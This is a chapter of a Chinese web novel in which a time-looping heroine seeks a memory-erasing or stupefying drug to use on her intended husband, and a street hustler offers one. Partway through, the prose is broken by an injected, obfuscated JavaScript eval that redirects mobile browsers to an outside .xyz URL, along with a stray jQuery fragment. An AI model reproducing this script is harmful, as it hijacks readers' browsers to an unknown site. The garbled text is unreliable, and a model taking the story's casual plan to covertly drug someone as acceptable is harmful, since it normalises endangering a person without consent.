10第十六日
“咔嚓。”
“哎呀!我被他给骗了!留下来就是为了给我下套,我还真被吓住了!”一睁眼明婵就想明白。
“娘子在说什么?谁吓你了吗?”菖蒲又来替她簪花。
“不是,你别管我。”她挥了挥手。
“哎?”菖蒲忽然愣住,抓过她的手,“娘子,你腕上怎么红红的?”
明婵闻言转头,还真的在手腕上看见半圈红痕,就跟用绳子绑过似的。
她难免想到破院里的事:“奇怪,怎么还留印了。”之前有过类似的事吗?
“还真有人吓唬娘子了?是谁啊想死吗?咱们这就去找杨御……唔!”一只手捏住了她的嘴巴,聒噪戛然而止。
“抬头让我看看脖子。”
“唔唔?”
明婵自己上手扒开她的下巴。
白净的脖子上赫然有一条褐色的疤痕。
“这是……”
那次刀伤留下的!
居然真能留下痕迹?
就像……就像这一切真的发生过一样!
是啊,本来就是发生过的事,只不过所有人都不记得才感觉像做梦一样。
有这些真真实实的证据在,她多了两分还活着的实感,更加庆幸没有继续带他们鲁莽行事。
看来之后也得多做考虑,万不可冲动丧了性命。
“娘子,你自言自语在说什么?我脖子怎么了吗?”
“哦没事,”她十分愧疚,“我回头一定给你找最好的香粉膏药回来,你受苦了菖蒲。”
“哦,好啊……”菖蒲一头雾水,“娘子,你真怪好的。”
“……”
上一日虽然还是失败,但收获却很大。
毕竟这是目前为止最接近成功的一次,而且她已经试探出一套对付护卫队行之有效的方法,姓裴的已经不足为虑。
现在的问题是魏循。
他太难杀了!脑子也清醒,如果他是个中看不中用的花瓶草包,早就乖乖束手就擒。
想要破这局,要么囚禁他让他丧失行动能力,要么祈求老天爷让他莫名其妙变成傻子,好对她言听计从!
想起他那手神不知鬼不觉的逃脱之术,明婵甚至觉得第二个想法的可行性还高些。
要是有什么东西能把他药傻就好了,或者整失忆也行……
不行不行,这样丧心病狂的事情她做不出来。
“哎……”
“娘子,你叹什么气啊?”
“想死。”
“呸呸呸!今天这样的日子,这话千万莫让夫人听见,否则以为娘子受了什么委屈定要伤心了。”
“哎你说,这世上有那种吃了就失忆,或者神智不清的药吗?短暂的。”
“……有吧。”
“有吧?到底有没有?”
“有的!肯定有的!这世上都有让人昏迷假死的药,区区药傻药失忆不值一提!”她宽慰道。
明婵想到那家戏班子。
“真的?”
“千真万确!”
她思忖片刻。
“那就试试?”大不了从头再来嘛。
“试试什么?”
“菖蒲,”她很快振作,“我有件很重要的事要你去做,而且只有你能做。”
“娘子尽管说,我一定好好办!”
“你把这辆马车拉到返乡亭去,到那片竹林等我,我不来,你一定不能走,能做到吗?”
“能!”菖蒲一口保证,又有点疑惑,“可是娘子,咱们为什么要去那儿?”
“会让你知道的,我还有事就先走了。”明婵说着掀开车帘让珍伯停车,像前几次那样纵马赶回城。
“娘子,娘子这是去哪儿啊?”珍伯不知所措。
“没说就少打听。”
“可府里还等着吃饭呢。”
“吃什么饭?有要紧事呢,咱们先去返乡亭。”
“哦好,”珍伯点点头,又茫然转头,“可马没了要怎么过去啊?”
菖蒲也是一愣:“你问我,我怎么知道?”
一匹枣马疾驰入城。
明婵目的明确,直奔城东戏场。她要先去那家假死戏班子问问,万一没有,那边也有不少街痞赖头可以接着打听。
“你说什么?让人失忆的药?”
那班头听说了她的来意吃了一惊,上下打量她,不可置信,“还真是人不可貌相,我说这位小娘子,你周周正正一个人怎么想法这么危险?你要是受了委屈,堂堂正正打回去才是正理,寻这些不入流的下三滥手段,真是叫我唾弃。”
他说着就要走。
“哎不是,班主班主,您行行好,我真的有急用,价钱好商量,大不了您随便开!”她赶紧拉住。
那班主有些好笑:“我要是说万两金你也能给?”
明婵麻溜点头,解下钱囊:“给给给,但我现在只带了这么多,剩下的我慢些筹行吗?”
班主回过身,眼神像看傻子:“你不会是咸宜观里跑出来的疯婆子吧?我看你才该吃药!”
他一把扯回自己的袖子,指着身后的招牌,“退一万步说,这世上真有这么邪乎的东西,也不可能在我这儿,你看清楚,我这里是戏班子不是暗馆。”
“真是,发疯也得看地方啊……”
他一脸嫌弃地走了。
第一回尝试以碰壁结束。
明婵有些失望,但不及多想就立马朝界桥跑过去,并不上桥,而是去桥下。
她准确找到上一日给她出主意的那个尖嘴,把他叫到一边,同样的问题又问一遍。
“失忆?”他笼手蹲下,“没听说过。”
明婵听过眼
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533848|186454||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
神却一亮,上回问他迷药,他也是这幅做派。有戏!
她直接抛出钱袋子,言简意赅:“定金,事成之后还有十倍。”
尖嘴打开袋子瞥了一眼,再看她已经换了副面孔:“娘子诚意十足,小人也不好拂了面子,您这钱我确实想赚。”
“那还等什么?带路啊。”明婵催促。
他叹了口气:“可是吧,您说的那什么吃了就失忆的药,我确实不知道。”
明婵被他一口气险些噎死:“那你不早说?拿来!”她抬手就要把钱袋子抢回来。
尖嘴躲了躲,左右环视后低头:“但让人神智不清的药我倒是知道。”
明婵确实想过药傻魏循,但那也只是想想,再怎么想拦亲,她也不会突破底线对旁人造成什么不可逆转的伤害。
就算只是暂时,若有一天他知道此事,以他那性子必然也不会放过她。
更重要的是,她还差点儿胆子。
“我不要,还给我。”她打算另想办法。
“别啊,我知道您担心什么,怕下手重了不是?您放心,这个药啊不同剂量效果各不相同。”
尖嘴不放,“您若只是想要短暂的效果,那少用点就行了,届时在对方精神恍惚似醒未醒之际,把您想要的记忆多在对方耳边念叨几遍,保准和真的一样。”
明婵看他一脸得瑟,有些不信。
“你确定不会害人?药效过了之后呢?会不会有什么后遗症?”
“那您放心,绝对没有!”他黑手一挥,“我就直跟您说了,这药最早是从宫里传出来的,前朝那位宠冠后宫的贵妃你知道吧?”
“那位有头痛病的?”
当朝新立不过几十年。
前朝皇帝昏庸且绝嗣无子,当今圣上的祖父,也即前朝皇后的父亲,便以皇后之名过继了自己的儿子给女婿做太子,罔顾人伦,半夺半抢地坐上皇位。
如今虽改朝换代,但盛世清平,平日也无人拿此事说道。
说起来,魏循的母亲渭阳郡主就是那位皇后的外孙女。
这些也不是什么新鲜事。
“没错,那药原先就是为了治头痛病的,只是时间久了容易神智不清,据说那贵妃就是这么疯的……”
“哎哎,扯远了。”明婵头痛。
“哦哦,总之传于市井后根据百姓需要改良了一番,于……一道,”他啧了一声,“您懂的,也是别样的乐趣,所以我说好着呢。”
明婵还是半信半疑。
他们这些市井泼皮嘴里,十句话有九句不可信。可如今时辰已经耽搁,也没有其他更好的法子,只能死马当活马医。
对不起了魏循,一切为了自由,往后有机会她一定会补偿的。
明婵心里拜了一句,起身:“带路吧。”
药已解决,这回只要再谨慎些,便胜利在望。